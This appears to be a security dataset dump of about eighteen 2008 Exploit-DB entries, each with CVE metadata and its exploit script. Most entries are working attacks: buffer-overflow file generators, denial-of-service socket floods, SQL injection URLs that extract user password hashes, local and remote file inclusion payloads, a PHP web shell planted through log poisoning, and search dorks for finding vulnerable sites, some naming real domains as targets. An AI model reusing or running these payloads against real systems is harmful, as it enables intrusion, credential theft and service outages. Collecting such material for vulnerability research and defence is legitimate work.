QLWD/code_shield huggingface dataset:
标题: Microsoft Visual InterDev 6.0 SP6 - '.sln' Local Buffer Overflow (PoC) EDB-ID: 5349 CVE: 2008-1709 2008-0250 类型: DOS 平台: WINDOWS 发布日期: 2008-04-03 漏洞利用脚本: #usage: exploit.py FileName

import sys

print "--------------------------------------------------------------------------------"
print ' [PoC 2] Microsoft Visual InterDev 6.0 (SP6) ".sln" files Local Buffer Overflow'
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://shinnai.altervista.org\n"
print " Execution of arbitrary code is possible, but it annoys me at the moment :)"
print "--------------------------------------------------------------------------------"

buff      = "a" * 264 + "bbbb" + "c" * 256

try:
    sln_file = \
        'Microsoft Visual Studio Solution File, Format Version 1.00\n'+\
        'Project("{}") = "' + buff + '"\n'+\ 
        'EndProject\n'
    
    out_file = open(sys.argv[1] + ".sln",'w')
    out_file.write(sln_file)
    out_file.close()
    print "\nFILE CREATION COMPLETED!\n"
except:
    print " \n -------------------------------------"
    print "  Usage: exploit.py FileName"
    print " -------------------------------------"
    print "\nAN ERROR OCCURS DURING FILE CREATION!"

# milw0rm.com [2008-04-03] URL: https://www.exploit-db.com/exploits/5349
标题: Noticeware Email Server 4.6.1.0 - Denial of Service EDB-ID: 5341 CVE: 2008-1713 类型: DOS 平台: WINDOWS 发布日期: 2008-04-01 漏洞利用脚本: #NoticeWare Email Server

#Application: Noticeware Email Server
#Version:  4.6.1.0 (NoticeWare Email Server)
#Bugs:  Denial Of Service/ Remote Crash
#Exploitation: Remote
#Date:  1st April 2008
#Author:  Ray
#Email:  native19@gmail.com
#Platforms: Tested on XP/2003
#Taken from : http://www.noticeware.com/noticemail.htm

#"The NoticeWareÂ™ Email Server NG is a high performance, multi-threaded email server for Windows #2000/2003/XP/Vista which supports IMAP/POP3 and SMTP protocols. Whether you are hosting your own email or #collecting mail from your ISP, the NoticeWareÂ™ Email Server will provide everything you need to run a #secure and dependable email system. Ideal for any size of business."
##########################################################################################################

#1) Denial Of Service

#Denial of service occurs when the mailserver.exe crashes after receiving huge number of characters in #IMAP port 143 [ECX =0000000,DL = ??] , the admin application will still be running but if user clicked #on Send/Receive or any other buttons the application will crash .

##########################################################################################################

#A Simple POC by Ray, dont forget to change the host address

use IO::Socket;
print "\n++ NoticeWare DOS";
print "\n++ Initiating";
my $sock = new IO::Socket::INET (
      PeerAddr => '192.168.2.7',
      PeerPort => '143',
      Proto => 'TCP',
      );
die "Could not initiate connection $!\n" unless $sock;

print $sock "A" x 9000 . "\n";
print "\n++ Have to wait for a few seconds before closing the socket";
sleep(6);
close ($sock);
print "\n++ NC and check if the victim is killed \r\n";

# milw0rm.com [2008-04-01] URL: https://www.exploit-db.com/exploits/5341
标题: Joomla! Component actualite 1.0 - 'id' SQL Injection EDB-ID: 5337 CVE: 2008-4617 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-01 漏洞利用脚本: ##########################################
#
# Joomla Component com_actualite SQL Injection
#
##########################################
#
##AUTHOR : Stack-Terrorist [v40]
#
####HOME : http://v4-team.com
#
####MAiL : admin@v4-team.com
#
###########################################
#
# DORK 1 : allinurl: "com_actualite"
#
###########################################
EXPLOiT :

index.php?option=com_actualite&task=edit&id=-1%20union%20select%201,concat(username,char(32),password),3,4,5,6,7,8,9%20from%20jos_users/*

###########################################
-------------Stack-Terrorist--------------#
###########################################
------------admin@v4-team.com-------------#
###########################################
-------http://stack-terrorist.com---------#
###########################################

side note:
  <name>actualite</name>
  <creationDate>15/08/2006</creationDate>
  <author>assiya</author>
  <copyright></copyright>
  <authorEmail>assiya@pyxicom.com</authorEmail>

  <authorUrl>www.pyxicom.com</authorUrl>
  <version>1.0</version>
  <description>Composant pour la gestion des actualites de la CAF</description>

# milw0rm.com [2008-04-01] URL: https://www.exploit-db.com/exploits/5337
标题: Mcafee EPO 4.0 - 'FrameworkService.exe' Remote Denial of Service EDB-ID: 5343 CVE: 2008-1855 类型: DOS 平台: WINDOWS 发布日期: 2008-04-02 漏洞利用脚本: #!/usr/bin/python
# Mcafee EPO 4.0 (and others) FrameworkService.exe DOS
# More than meets the eye
# Discovered and coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/mcafee_again.py.txt


# EAX 00840C30
# ECX 00837830
# EDX 01EACF18
# EBX 00004000
# ESP 01EAFF04
# EBP 01EAFF38
# ESI 00837830
# EDI 643AC780 naCmnLib.CnaLogger::AddMessageA
# EIP 42424242

import socket
import os
import sys
from time import sleep

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print data
expl.close()

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print data
expl.close()

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8081 ) )
buff="B"*96000+" HTTP/1.1\r\n"
req= buff+ "+'/spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\n\r\n\r\n"
expl.send (req)
#data=expl.recv(1024)
#print data
expl.close()

while 1:

 expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
 expl.connect ( ( sys.argv[1], 8081 ) )
 buff="B"*243
 req= buff +' /spin//AVClient//AVClient.csp HTTP/1.1\r\nHost: 192.168.1.10:20\r\nUser-Agent: Mozilla/4.0 (Linux 2.6.21.5) Java/1.5.0_02\r\n\r\n'
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 expl.send (req)
 data=expl.recv(1024)
 print data
 expl.close()

 sleep(0.1)

# milw0rm.com [2008-04-02] URL: https://www.exploit-db.com/exploits/5343
标题: ChilkatHttp ActiveX 2.3 - Arbitrary Files Overwrite EDB-ID: 5338 CVE: 2008-1647 类型: REMOTE 平台: WINDOWS 发布日期: 2008-04-01 漏洞利用脚本: --------------------------------------------------------------------
 ChilkatHttp ActiveX 2.3 Arbitrary Files Overwrite
 url: www.chilkatsoft.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
--------------------------------------------------------------------
<object classid='clsid:B973393F-27C7-4781-877D-8626AAEDF119' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  test.SaveLastError "c:\windows\system_.ini"
  MsgBox "Exploit completed!"
 End Sub
</script>

# milw0rm.com [2008-04-01] URL: https://www.exploit-db.com/exploits/5338
标题: Smoothflash - 'cid' SQL Injection EDB-ID: 5322 CVE: 2008-1623 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-30 漏洞利用脚本: ##########################################
#
# Powered by Smoothflash SQL injection
# Powered by Newartonline
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : "Powered by Smoothflash"
#
# DORK 2 : allinurl: "admin_view_image.php"
#
###########################################
EXPLOiT :

admin_view_image.php?cid=-99999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/lwsp_users


admin login on frontpage

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-03-30] URL: https://www.exploit-db.com/exploits/5322
标题: PHPSpamManager 0.53b - 'body.php' Remote File Disclosure EDB-ID: 5328 CVE: 2008-1645 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: phpSpamManager 0.53 beta (body.php) Remote File Disclosure Vulnerability
D.Script : http://sourceforge.net/project/showfiles.php?group_id=141000
Vuln Code 
Ln 38 -> 47 : 
//get filename
     $okprint=false;
     $filename = $_REQUEST['filename']; <--- XxX
     if ($filename!='FILENAME')
     {
      debug_print("analysing " .$filename);
      //replace # by dots if necessary
      $filename = preg_replace("/#/",".",$filename);
$mailtext=file_get_contents($filename); <--- XxX
  $email=new parseMail($mailtext); <--- XxX
POC :
/phpspammanager.0.53.dev/body.php?filename=include/config.inc.php
/phpspammanager.0.53.dev/body.php?filename=../../../../../../../../etc/passwd
                     I'm Mahmood_ali --- I'm Tryagi

# milw0rm.com [2008-03-31] URL: https://www.exploit-db.com/exploits/5328
标题: JShop 1.x < 2.x - 'xPage' Local File Inclusion EDB-ID: 5325 CVE: 2008-1624 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-30 漏洞利用脚本: JShop 1.x-2.x local file include
---------------------------------------------------------------------------------------------------------------------
+ scripts: Jshop Server 1.x-2.x                                                                                +
+ Discovered By : v0l4arrra <v0l4arrr[at]gmail[dot]com>                                                       +
+ url:  www.jshop.co.uk                                                                                            +
+ dork: "powered by jshop" and also usefull one "allinurl:jssCart=.."                                               +
---------------------------------------------------------------------------------------------------------------------
Go to www.jshop.co.uk and check out demo version...

http://www.jshopecommerce.com/v2demo/page.php?xPage=../../../../../../../../../../../../../etc/passwd%00

Then u can upload for example the gif file like this 

$cat 1.gif
GIF89aD
<?php echo system($_GET['cmd']); ?>

or do it like me:
$nc www.jshopecommerce.com 80
GET <?php echo '<start>'; echo system($_GET['cmd']); echo '</start>'; ?> HTTP/1.1
Host: www.jshopecommerce.com

................................................................................................................
and simple parse the output of error log with lame perl script:

#!/usr/bin/env perl
use strict; use warnings;

#####################################
# This script download log file     #
# and grep the result of the        #
# command in tags <start>..</start> #
# and print it..                    #
#####################################

use LWP::UserAgent;
use HTTP::Request::Common;

$| = 1;

my $url = $ARGV[0] or print "usage: $0 http://127.0.0.1/vuln.php?page=../../../../../var/log/access.log%00&cmd=ls+-lisa\n" and exit;
my $ua= new LWP::UserAgent;
$ua->agent("Mozilla/5.0");
my $request = new HTTP::Request( 'GET' => $url );
my $document = $ua->request($request);
my $response = $document->as_string;
$response =~ m%<start>(.*?)</start>%is;
print $1,"\n";

######################################

so dont waste your time and check it now
http://www.jshopecommerce.com/v2demo/page.php?xPage=../../../../../../../../../../etc/httpd/logs/error_log%00&cmd=ls+-lisa

##########################################

# milw0rm.com [2008-03-30] URL: https://www.exploit-db.com/exploits/5325
标题: FaScript FaPhoto 1.0 - 'show.php' SQL Injection EDB-ID: 5334 CVE: 2008-1714 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-01 漏洞利用脚本: #####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#                                                                                   #
#Script Download : http://en.fascript.com/en.faphoto.zip                            #
#                                                                                   #
#Injection Adress :  http://Sitename/faname/show.php?id=<SqL Code>                  #
#                                                                                   #
#Help : In This Script Admin Username and Password Save in ./admin/pconfig.php      #
#       You can open this file with load_file Function in mysql and see admin       #
#       Username and password in Page Source                                        #
#                                                                                   #
# ./admin/pconfig.php Str2Hex : 0x2e2f61646d696e2f70636f6e6669672e706870            #
#                                                                                   #
#SQL Code for Read pconfig.php : 999999%27union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3,4,5,6/*
#                                                                                   #
#                        Our site : HTTP://IRCRASH.COM                              #
#                                                                                   #
#                                 Tnx God                                           #
#####################################################################################

# milw0rm.com [2008-04-01] URL: https://www.exploit-db.com/exploits/5334
标题: WordPress Plugin Download - 'dl_id' SQL Injection EDB-ID: 5326 CVE: 2008-1646 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: ###############################################################
#
# Wordpress Plugin Download file Remote SQL Injection Vulnerability
#
###############################################################
#
# Author: BL4CK
#
# Mail: bl4ck00@gmail.com
#
################################################################
#
# Dork: inurl:"wp-download.php?dl_id="
#
################################################################
Example:
http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL]
SQL:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
################################################################
# Greetz: ZioN, b!g B0$$, h4cky0u.org
################################################################

# milw0rm.com [2008-03-31] URL: https://www.exploit-db.com/exploits/5326
标题: Woltlab Burning Board Addon JGS-Treffen 2.0.2 - SQL Injection EDB-ID: 5329 CVE: 2008-1640 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-31 漏洞利用脚本: ######################
#
#Woltlab Burning Board Addon JGS-Treffen SQL Injection
#
######################
#
#Bug by: h0yt3r
#
#Dork: inurl:jgs_treffen.php
#
##
###
##
#
#There is a bug in jgs_treffen.php 2.0.2 and lower.
#It's already fixed in newer Versions...
#
#SQL Injection:
#http://[target]/[path]/jgs_treffen.php?action=ansicht&view_id=[SQL]
#
#PoC:
#jgs_treffen.php?action=ansicht&view_id='-1/**/UnIoN/**/All/**/SeLeCt/**/1,2,CoNcAt(email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/bb1_users/*
#
#######################
#
#Greetz to ramon, thund3r and all the other dirty blackhat rest xD!
#
#######################
####################### 

# milw0rm.com [2008-03-31] URL: https://www.exploit-db.com/exploits/5329
标题: KISGB (tmp_theme) 5.1.1 - Local File Inclusion EDB-ID: 5324 CVE: 2008-1635 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-30 漏洞利用脚本: [~] KISGB (Keep It Simple Guest Book) : Local FiLe Include's (tmp_theme)
[~]
[~] Version : All Versions
[~]
[~] Download : http://sourceforge.net/project/showfiles.php?group_id=38585
[~] ----------------------------------------------------------
[~] Exploit coded and founded by Cr@zy_King
[~]
[~] Date: 30.03.2008
[~]
[~]
[~] crazy_kinq@hotmail.co.uk
[~]
[~] -----------------------------------------------------------
[~] Greetz tO:-
[~]
[~] Digital-AngeLs Bug Researchers Yakinda OnLine :) Loading.
[~]
[~] [Peace Crew] Kerem125 - Alemin_Krali - m0sted - UyussMan
[~]
[~] Eno7 | Crackers_Child | Ghost61 | str0ke | [Hx] | [03xTr] | The_Bekir
[~]----------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/view_private.php?start=252&action=edit&tmp_theme=LFI
[~]
[~] ../../../../../../etc/passwd
[~]
[~]
[~]---------------------------------------------------------------------------------------------------------------
[~] " AklÄ±n DÃ¼nya LimanÄ±na Demir AtmÄ±ÅŸsa Gemin FÄ±rtÄ±nadan Kurtulmaz ." 

# milw0rm.com [2008-03-30] URL: https://www.exploit-db.com/exploits/5324
标题: mxBB Module mx_blogs 2.0.0-beta - Remote File Inclusion EDB-ID: 5323 CVE: 2008-1712 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-30 漏洞利用脚本: # mxBB Module mx_blogs 2.0.0-beta Remote File Include Exploit
#
# Vendor: http://www.mx-system.com
#
# Download: http://www.mx-system.com/index.php?page=4&action=file&file_id=405
#
# Vulncode in: /includes/functions_weblog.php line 24
#
# Greetz: str0ke, TheJT, rgod, Vallani, DNX, NBBN

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$shellcode = "Insert the url to shell here";

main();

sub usage
{
print "\mxBB Module mx_blogs 2.0.0-beta Remote File Include Expl\n";
print "by bd0rk <www.soh-crew.it.tt>\n";
print "-t, --ttarget\t(someone.com)\n";
print "-f, --tshell\t(url to your shellcode)\n";
print "-d, --dir\t(/mx_blogs)\n";
exit;
}

sub main
{
GetOptions ('t|target=s' => \$target,'f|shell=s' => \$shell,'d|dir=s' => \$dir);
usage() unless $target;
$shellcode = $shell unless !$shell;
$url = uri_escape($shellcode);

$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$target",PeerPort=>"80") or die "\nConnection() failed.\n";

print "\nConnected to ".$target.", injecting shellcode.\n";
$sendurl = "mx_root_path=".$url."";
$sendlen = length($sendurl);
print $sock "POST ".$dir."/includes/functions_weblog.php? HTTP/1.1\n";
print $sock "Host: ".$target."\n";
print $sock "Connection: close\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$sendlen."\n\n";
print $sock $sendurl;
print "Attempted to include shellcode, Response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}
exit;
}

# milw0rm.com [2008-03-30] URL: https://www.exploit-db.com/exploits/5323
标题: Microsoft Office XP SP3 - '.PPT' File Buffer Overflow (MS08-016) EDB-ID: 5320 CVE: 2008-0118 2008-0113 类型: LOCAL 平台: WINDOWS 发布日期: 2008-03-30 漏洞利用脚本: Runs calc.exe on Office XP SP3 with updates < 03/11/08.

Just for fun...

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31361.tgz (2008-ms08-016.tgz)

Marsupilamipowa@hotmail.fr

# milw0rm.com [2008-03-30] URL: https://www.exploit-db.com/exploits/5320
标题: Joomla! Component MyAlbum 1.0 - 'album' SQL Injection EDB-ID: 5318 CVE: 2008-6489 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-28 漏洞利用脚本: -------------------------------------------------------------------------------------------------
# Title   :  Joomla Component MyAlbum SQL Injection Vulnerability
# Author  :  parad0x
# D.Page  :  http://joomlacode.org/gf/project/myalbum/
-------------------------------------------------------------------------------------------------
http://[target]/index.php?option=com_myalbum&album=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.akparti.org.tr/disiliskiler/index.php?option=com_myalbum&album=-1+union+select+0,concat(username,char(32),password),2,3,4%20from%20jos_users/*

-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------
http://inso.host.sk

side note:
  <name>myalbum</name>
  <creationDate>01.06.2007</creationDate>
  <author>HÃ¼seyin Bora ABACI</author>
  <copyright>GNU/GPL</copyright>
  <authorEmail>borkurt@hotmail.com</authorEmail>

  <authorUrl>www.joomla.org</authorUrl>
  <version>1.0</version>
  <description>MyAlbum is practical,comfortable,fast simple a picture gallery component.</description>

# milw0rm.com [2008-03-28] URL: https://www.exploit-db.com/exploits/5318
标题: TopperMod 1.0 - 'mod.php' Local File Inclusion EDB-ID: 5312 CVE: 2008-1553 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-25 漏洞利用脚本: # Author: __GiReX__
# mySite: girex.altervista.org

# CMS:   TopperMod v1.0
# Site:  rtcw.ch/mio/index.php

# Bug:   Local File Inclusion
# File:  mod.php
# Var :  $to


# Bug explanation - Vuln Code:

 if (isset($_GET['mod'])) { $mod = stripslashes($_GET['mod']); } else { header("location index.php"); Die(); }
 if (isset($_GET['to'])) { $to = stripslashes($_GET['to']); } else { $to="index"; }

# Our bugged vars are GET's var so we don't need Register_Globals turned On
 
 
 $vietate=array("http","select","union","where","delete","insert","alert","document");
  if (ereg($vietate,strtolower($mod)) OR ereg($vietate,strtolower($to)) ) { 
    echo "<META HTTP-EQUIV=\"refresh\" content=\"1;URL=index.php\">";
  } elseif (ereg("[a-zA-Z0-9]",$mod) OR ereg("[a-zA-Z0-9]",$to)) {

# Our exploitation don't use a $vietate word and
# the check of ereg() return true if we use some letters


  ...
# ... we must be logged in and $mod must be a real section
  ...


 if (file_exists("mod/$mod/".$to.".php") ) {
  include("mod/$mod/".$to.".php");
 } else {
  echo "<META HTTP-EQUIV=\"refresh\" content=\"1;URL=index.php\">";
    }

# var $to is not sanizated so we can exploit thought Local File Inclusion


PoC:  [host]/[path]/mod.php?mod=account&to=../../[local file]%00

# milw0rm.com [2008-03-25] URL: https://www.exploit-db.com/exploits/5312
标题: TopperMod 2.0 - SQL Injection EDB-ID: 5311 CVE: 2008-1554 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-25 漏洞利用脚本: # Author: __GiReX__
# mySite: girex.altervista.org

# CMS:   TopperMod v2.0
# Site:  rtcw.ch/mio/index.php

# Bug:   SQL Injection

# Type:         1 - Priviledge Escalation (from user to mod)
  2 - Remote user password change

# File:  /account/index.php
# Var :  $localita

# Need:  magic_quotes_gpc = Off
  You must be logged in


# Vuln Code: /account/index.php:  

 case "edituser_save":
        ...


 $localita=$_POST['localita']; 
 ...

 if ($localita!="") { 
  if (eregi("^[a-zA-Z0-9]",$localita)) {
   $localita=substr(htmlentities(htmlspecialchars($localita), ENT_QUOTES),0,20);
  }
 }

# And if our $_POST['localita'] does not begin with a char or a number?
# Input not sanizated
 
 ...
 $res=dbquery("UPDATE ".PREFISSO."_utenti SET  email='$email', localita='$localita', sito='$sito', 
       tema='$tema_user', time_zone='$time_zone'  $pass  
       WHERE user_id='$user_id' "); 

# Vulnerable query :D

 

# PoC 1:

 POST  /[PATH]/mod.php?mod=account HTTP/1.1
 Host: [TARGET]
 ...headers...

 email=someone@somewhere.dot&localita=@', permessi='1&go=edituser_save&user_id=[YOUR_USER_ID]

# PoC 2:

 POST  /[PATH]/mod.php?mod=account HTTP/1.1
 Host: [TARGET]
 ...headers...

 email=someone@somewhere.dot&localita=@', password='[PASSWORD]&go=edituser_save&user_id=[VICTIM_USER_ID]



# Note: [PASSWORD] must be the md5 of the md5 of the wanted password, you must forget in the content the end quote
# We can also try to get admin hash trought sql subqueries but the password is crypted into md5 2 times
# and Admins don't use cookies in this CMS...

# milw0rm.com [2008-03-25] URL: https://www.exploit-db.com/exploits/5311